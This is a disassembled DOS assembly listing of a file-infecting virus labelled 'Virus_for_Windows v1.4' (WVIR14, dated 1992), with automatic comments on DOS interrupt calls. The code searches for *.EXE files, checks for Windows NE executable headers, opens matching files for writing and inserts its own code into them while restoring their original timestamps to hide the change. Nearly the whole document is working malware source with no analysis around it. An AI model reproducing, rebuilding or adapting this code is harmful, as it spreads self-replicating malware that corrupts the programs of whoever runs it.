
PAGE  59,132

;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ					                                 ÛÛ
;ÛÛ				WVIR14	                                 ÛÛ
;ÛÛ					                                 ÛÛ
;ÛÛ      Created:   1-Sep-92		                                 ÛÛ
;ÛÛ      Passes:    5          Analysis	Options on: none                 ÛÛ
;ÛÛ					                                 ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ

data_11e	equ	100h			;*
data_12e	equ	140h			;*
data_13e	equ	142h			;*
data_14e	equ	144h			;*
data_15e	equ	148h			;*
data_16e	equ	14Ah			;*
data_17e	equ	150h			;*
data_18e	equ	16Eh			;*
data_19e	equ	181h			;*
data_20e	equ	19Ch			;*
data_21e	equ	19Eh			;*
data_22e	equ	1A0h			;*
data_23e	equ	1A2h			;*

;------------------------------------------------------------  seg_a   ----

seg_a		segment	byte public
		assume cs:seg_a  , ds:seg_a  , ss:stack_seg_b

		db	249 dup (0)

;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;
;                       Program	Entry Point
;
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ


wvir14		proc	far

start:
		mov	ax,cs
		add	ax,3Bh
		mov	ds,ax
		cld				; Clear direction
		push	es
		push	ds
		pop	es
		mov	si,data_18e
		mov	di,data_19e
		mov	cx,0Dh
		rep	movsb			; Rep when cx >0 Mov [si] to es:[di]
		mov	dx,data_17e
		mov	ah,1Ah
		int	21h			; DOS Services  ah=function 1Ah
						;  set DTA(disk xfer area) ds:dx
		mov	dx,17Bh
		xor	cx,cx			; Zero register
		mov	ah,4Eh
loc_1:
		int	21h			; DOS Services  ah=function 4Fh
						;  find next filename match
		jc	loc_2			; Jump if carry Set
		mov	dx,data_18e
		call	sub_1
		mov	ah,4Fh			; 'O'
		jmp	short loc_1
loc_2:
		mov	dx,data_19e
		call	sub_2
		pop	es
		mov	ax,4C00h
		int	21h			; DOS Services  ah=function 4Ch
						;  terminate with al=return code

wvir14		endp

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_1		proc	near
		mov	ax,3D02h
		int	21h			; DOS Services  ah=function 3Dh
						;  open file, al=mode,name@ds:dx
		jc	loc_ret_4		; Jump if carry Set
		xchg	ax,bx
		mov	si,100h
		call	sub_3
		jc	loc_3			; Jump if carry Set
		cmp	word ptr [si+14h],100h
		je	loc_3			; Jump if equal
		mov	ax,5700h
		int	21h			; DOS Services  ah=function 57h
						;  get file date+time, bx=handle
						;   returns cx=time, dx=time
		push	cx
		push	dx
		call	sub_4
		pop	dx
		pop	cx
		mov	ax,5701h
		int	21h			; DOS Services  ah=function 57h
						;  set file date+time, bx=handle
						;   cx=time, dx=time
loc_3:
		mov	ah,3Eh
		int	21h			; DOS Services  ah=function 3Eh
						;  close file, bx=file handle

loc_ret_4:
		retn
sub_1		endp


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_2		proc	near
		mov	ax,3D02h
		int	21h			; DOS Services  ah=function 3Dh
						;  open file, al=mode,name@ds:dx
		jc	loc_ret_4		; Jump if carry Set
		xchg	ax,bx
		mov	si,100h
		call	sub_3
		jc	loc_3			; Jump if carry Set
		cmp	word ptr [si+14h],100h
		jne	loc_3			; Jump if not equal
		mov	ax,5700h
		int	21h			; DOS Services  ah=function 57h
						;  get file date+time, bx=handle
						;   returns cx=time, dx=time
		push	cx
		push	dx
		call	sub_5
		call	sub_6
		pop	dx
		pop	cx
		mov	ax,5701h
		int	21h			; DOS Services  ah=function 57h
						;  set file date+time, bx=handle
						;   cx=time, dx=time
		jmp	short loc_3
sub_2		endp


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_3		proc	near
		call	sub_8
		cmp	word ptr [si],5A4Dh
		jne	loc_5			; Jump if not equal
		cmp	word ptr [si+18h],40h
		jb	loc_5			; Jump if below
		mov	ax,[si+3Ch]
		mov	dx,[si+3Eh]
		call	sub_16
		mov	ds:data_20e,ax
		mov	ds:data_21e,dx
		call	sub_8
		cmp	word ptr [si],454Eh
		jne	loc_5			; Jump if not equal
		cmp	word ptr [si+0Ch],302h
		jne	loc_5			; Jump if not equal
		cmp	byte ptr [si+32h],4
		jne	loc_5			; Jump if not equal
		cmp	word ptr [si+36h],802h
		jne	loc_5			; Jump if not equal
		clc				; Clear carry flag
		retn
loc_5:
		stc				; Set carry flag

loc_ret_6:
		retn
sub_3		endp


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_4		proc	near
		mov	ax,[si+16h]
		mov	dx,140h
		call	sub_7
		cmp	word ptr ds:data_13e,3AEh
		jb	loc_ret_6		; Jump if below
		cmp	byte ptr ds:data_14e,50h	; 'P'
		jne	loc_ret_6		; Jump if not equal
		mov	ax,[si+0Eh]
		mov	dx,148h
		call	sub_7
		cmp	word ptr ds:data_16e,4A8h
		jb	loc_ret_6		; Jump if below
		mov	ax,ds:data_12e
		call	sub_15
		mov	dx,1A8h
		mov	cx,2AEh
		nop
		call	sub_9
		call	sub_13
		mov	dx,1A8h
		mov	cx,2AEh
		nop
		call	sub_12
		mov	ax,word ptr ds:[148h]
		call	sub_15
		mov	dx,1A8h
		mov	cx,0A8h
		nop
		call	sub_9
		call	sub_13
		mov	dx,1A8h
		mov	cx,0A8h
		nop
		call	sub_12
		push	word ptr ds:[144h]
		pop	word ptr ds:[1A2h]
		and	word ptr ds:[144h],0FEFFh
		mov	ax,[si+16h]
		mov	dx,140h
		call	sub_10
		xor	ax,ax			; Zero register
		cwd				; Word to double word
		call	sub_14
		push	word ptr [si+14h]
		pop	word ptr ds:[1A0h]
		mov	word ptr [si+14h],100h
		call	sub_11
		mov	ax,word ptr ds:[140h]
		call	sub_15
		push	ds
		push	cs
		pop	ds
		mov	dx,100h
		mov	cx,2AEh
		nop
		call	sub_12
		pop	ds
		mov	ax,word ptr ds:[148h]
		call	sub_15
		mov	dx,100h
		mov	cx,0A8h
		nop
		call	sub_12
		retn
sub_4		endp


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_5		proc	near
		mov	ax,[si+0Eh]
		mov	dx,148h
		call	sub_7
		mov	ax,ds:data_15e
		call	sub_15
		mov	dx,100h
		mov	cx,0A8h
		nop
		call	sub_9
		retn
sub_5		endp


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_6		proc	near
		push	word ptr ds:data_23e
		pop	word ptr ds:data_14e
		mov	ax,[si+16h]
		mov	dx,140h
		call	sub_10
		push	word ptr ds:data_22e
		pop	word ptr [si+14h]
		xor	ax,ax			; Zero register
		cwd				; Word to double word
		call	sub_14
		call	sub_11
		call	sub_13
		sub	ax,0A8h
		nop
		sbb	dx,0
		push	ax
		push	dx
		call	sub_16
		mov	dx,1A8h
		mov	cx,0A8h
		nop
		call	sub_9
		mov	ax,ds:data_15e
		call	sub_15
		mov	dx,1A8h
		mov	cx,0A8h
		nop
		call	sub_12
		pop	dx
		pop	ax
		sub	ax,2AEh
		nop
		sbb	dx,0
		push	ax
		push	dx
		call	sub_16
		mov	dx,1A8h
		mov	cx,2AEh
		nop
		call	sub_9
		mov	ax,word ptr ds:[140h]
		call	sub_15
		mov	dx,1A8h
		mov	cx,2AEh
		nop
		call	sub_12
		pop	dx
		pop	ax
		call	sub_16
		mov	cx,0
		call	sub_12
		retn
sub_6		endp


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_7		proc	near
		push	dx
		dec	ax
		mov	cx,8
		mul	cx			; dx:ax = reg * ax
		add	ax,[si+22h]
		adc	dx,0
		call	sub_14
		pop	dx
		mov	cx,8
		jmp	short loc_7

;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß

sub_8:
		mov	dx,data_11e
		mov	cx,40h

;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß

sub_9:
loc_7:
		mov	ah,3Fh
		int	21h			; DOS Services  ah=function 3Fh
						;  read file, bx=file handle
						;   cx=bytes to ds:dx buffer
		retn
sub_7		endp


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_10		proc	near
		push	dx
		dec	ax
		mov	cx,8
		mul	cx			; dx:ax = reg * ax
		add	ax,[si+22h]
		adc	dx,0
		call	sub_14
		pop	dx
		mov	cx,8
		jmp	short loc_8

;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß

sub_11:
		mov	dx,data_11e
		mov	cx,40h

;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß

sub_12:
loc_8:
		mov	ah,40h
		int	21h			; DOS Services  ah=function 40h
						;  write file  bx=file handle
						;   cx=bytes from ds:dx buffer
		retn
sub_10		endp


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_13		proc	near
		mov	ax,4202h
		xor	cx,cx			; Zero register
		cwd				; Word to double word
		int	21h			; DOS Services  ah=function 42h
						;  move file ptr, bx=file handle
						;   al=method, cx,dx=offset
		retn
sub_13		endp


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_14		proc	near
		add	ax,ds:data_20e
		adc	dx,ds:data_21e
		jmp	short loc_9

;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß

sub_15:
		mov	cx,10h
		mul	cx			; dx:ax = reg * ax
		add	ax,100h
		adc	dx,0
		jmp	short loc_9
		db	 33h,0C0h, 99h

;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß

sub_16:
loc_9:
		xchg	cx,dx
		xchg	ax,dx
		mov	ax,4200h
		int	21h			; DOS Services  ah=function 42h
						;  move file ptr, bx=file handle
						;   al=method, cx,dx=offset
		retn
sub_14		endp

			                        ;* No entry point to code
		xchg	cx,dx
		xchg	ax,dx
		mov	ax,4201h
		int	21h			; DOS Services  ah=function 42h
						;  move file ptr, bx=file handle
						;   al=method, cx,dx=offset
		retn
		db	' Virus_for_Windows  v1.4 '
		db	259 dup (0)
		db	'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
		db	'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
		db	'bbbbbbbbccccccccdddddddddddddddd'
		db	'ddddddddddddddddddddddddddd*.EXE'
		db	0
		db	'eeeeeeeeeeeee'
		db	 00h, 00h, 80h, 00h, 00h, 00h
		db	 5Ch, 00h, 00h, 00h
		db	6Ch
		db	11 dup (0)
		db	 4Dh, 4Bh, 39h, 32h
		db	8 dup (0)

seg_a		ends



;------------------------------------------------------  stack_seg_b   ----

stack_seg_b	segment	word stack 'STACK'

		db	8192 dup (0)

stack_seg_b	ends



		end	start
